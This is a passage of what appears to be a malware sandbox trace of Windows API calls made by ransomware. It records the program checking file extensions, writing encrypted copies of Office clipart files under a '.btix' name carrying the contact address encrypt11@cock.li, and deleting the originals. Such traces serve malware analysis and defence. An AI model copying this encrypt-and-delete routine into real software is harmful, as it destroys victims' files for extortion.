(lpString1=".xls", lpString2=".WMF") returned 1 [0136.002] lstrlenW (lpString=".xlsx") returned 5 [0136.002] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0136.002] lstrlenW (lpString=".ppt") returned 4 [0136.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".zip") returned 4 [0136.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.002] lstrlenW (lpString=".rar") returned 4 [0136.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString=".bz2") returned 4 [0136.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString=".7z") returned 3 [0136.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".dbf") returned 4 [0136.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".1cd") returned 4 [0136.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".jpg") returned 4 [0136.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.002] lstrlenW (lpString=".doc") returned 4 [0136.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.002] lstrlenW (lpString=".docx") returned 5 [0136.002] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0136.003] lstrlenW (lpString=".pdf") returned 4 [0136.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString=".xls") returned 4 [0136.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.003] lstrlenW (lpString=".xlsx") returned 5 [0136.003] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0136.003] lstrlenW (lpString=".ppt") returned 4 [0136.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.003] lstrlenW (lpString=".zip") returned 4 [0136.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.003] lstrlenW (lpString=".rar") returned 4 [0136.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString=".bz2") returned 4 [0136.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString=".7z") returned 3 [0136.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.003] lstrlenW (lpString=".dbf") returned 4 [0136.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.003] lstrlenW (lpString=".1cd") returned 4 [0136.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0136.003] lstrlenW (lpString=".jpg") returned 4 [0136.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.003] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.003] lstrlenW (lpString="J0090783.WMF") returned 12 [0136.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.004] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6934) returned 1 [0136.004] CloseHandle (hObject=0x4c4) returned 1 [0136.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0136.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.005] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.005] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.005] GetLastError () returned 0x0 [0136.005] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0136.006] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0136.007] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.007] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.007] SetEndOfFile (hFile=0x390) returned 1 [0136.008] CloseHandle (hObject=0x390) returned 1 [0136.008] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.008] SetEndOfFile (hFile=0x4c4) returned 1 [0136.010] CloseHandle (hObject=0x4c4) returned 1 [0136.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0136.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.011] lstrlenW (lpString=".doc") returned 4 [0136.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.011] lstrlenW (lpString=".docx") returned 5 [0136.011] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.011] lstrlenW (lpString=".pdf") returned 4 [0136.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.011] lstrlenW (lpString=".xls") returned 4 [0136.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.011] lstrlenW (lpString=".xlsx") returned 5 [0136.011] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.011] lstrlenW (lpString=".ppt") returned 4 [0136.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.011] lstrlenW (lpString=".zip") returned 4 [0136.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.011] lstrlenW (lpString=".rar") returned 4 [0136.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString=".bz2") returned 4 [0136.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString=".7z") returned 3 [0136.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString=".dbf") returned 4 [0136.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString=".1cd") returned 4 [0136.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString=".jpg") returned 4 [0136.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString=".doc") returned 4 [0136.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString=".docx") returned 5 [0136.012] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.012] lstrlenW (lpString=".pdf") returned 4 [0136.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString=".xls") returned 4 [0136.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.012] lstrlenW (lpString=".xlsx") returned 5 [0136.012] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.012] lstrlenW (lpString=".ppt") returned 4 [0136.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.012] lstrlenW (lpString=".zip") returned 4 [0136.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.012] lstrlenW (lpString=".rar") returned 4 [0136.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.012] lstrlenW (lpString=".bz2") returned 4 [0136.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.013] lstrlenW (lpString=".7z") returned 3 [0136.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.013] lstrlenW (lpString=".dbf") returned 4 [0136.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.013] lstrlenW (lpString=".1cd") returned 4 [0136.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0136.013] lstrlenW (lpString=".jpg") returned 4 [0136.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.013] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.013] lstrlenW (lpString="J0093905.WMF") returned 12 [0136.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.014] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=42050) returned 1 [0136.014] CloseHandle (hObject=0x4c4) returned 1 [0136.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0136.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.014] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.014] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.015] GetLastError () returned 0x0 [0136.015] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xa442, lpOverlapped=0x0) returned 1 [0136.017] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xa450, lpOverlapped=0x0) returned 1 [0136.019] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.019] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.019] SetEndOfFile (hFile=0x390) returned 1 [0136.019] CloseHandle (hObject=0x390) returned 1 [0136.019] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.019] SetEndOfFile (hFile=0x4c4) returned 1 [0136.022] CloseHandle (hObject=0x4c4) returned 1 [0136.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0136.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.023] lstrlenW (lpString=".doc") returned 4 [0136.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.023] lstrlenW (lpString=".docx") returned 5 [0136.023] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0136.023] lstrlenW (lpString=".pdf") returned 4 [0136.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.023] lstrlenW (lpString=".xls") returned 4 [0136.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.023] lstrlenW (lpString=".xlsx") returned 5 [0136.023] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0136.023] lstrlenW (lpString=".ppt") returned 4 [0136.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.023] lstrlenW (lpString=".zip") returned 4 [0136.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.023] lstrlenW (lpString=".rar") returned 4 [0136.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.023] lstrlenW (lpString=".bz2") returned 4 [0136.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.023] lstrlenW (lpString=".7z") returned 3 [0136.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString=".dbf") returned 4 [0136.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString=".1cd") returned 4 [0136.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString=".jpg") returned 4 [0136.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString=".doc") returned 4 [0136.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString=".docx") returned 5 [0136.024] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0136.024] lstrlenW (lpString=".pdf") returned 4 [0136.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString=".xls") returned 4 [0136.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.024] lstrlenW (lpString=".xlsx") returned 5 [0136.024] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0136.024] lstrlenW (lpString=".ppt") returned 4 [0136.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.024] lstrlenW (lpString=".zip") returned 4 [0136.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.024] lstrlenW (lpString=".rar") returned 4 [0136.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString=".bz2") returned 4 [0136.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.024] lstrlenW (lpString=".7z") returned 3 [0136.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.025] lstrlenW (lpString=".dbf") returned 4 [0136.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.025] lstrlenW (lpString=".1cd") returned 4 [0136.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0136.025] lstrlenW (lpString=".jpg") returned 4 [0136.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.025] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.025] lstrlenW (lpString="J0098497.WMF") returned 12 [0136.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.025] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=4970) returned 1 [0136.025] CloseHandle (hObject=0x4c4) returned 1 [0136.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0136.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.026] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.026] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.027] GetLastError () returned 0x0 [0136.027] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x136a, lpOverlapped=0x0) returned 1 [0136.028] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1370, lpOverlapped=0x0) returned 1 [0136.029] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.029] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.029] SetEndOfFile (hFile=0x390) returned 1 [0136.349] CloseHandle (hObject=0x390) returned 1 [0136.349] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.349] SetEndOfFile (hFile=0x4c4) returned 1 [0136.351] CloseHandle (hObject=0x4c4) returned 1 [0136.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.352] lstrlenW (lpString=".doc") returned 4 [0136.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString=".docx") returned 5 [0136.352] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0136.352] lstrlenW (lpString=".pdf") returned 4 [0136.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString=".xls") returned 4 [0136.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.352] lstrlenW (lpString=".xlsx") returned 5 [0136.352] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0136.352] lstrlenW (lpString=".ppt") returned 4 [0136.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.352] lstrlenW (lpString=".zip") returned 4 [0136.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.352] lstrlenW 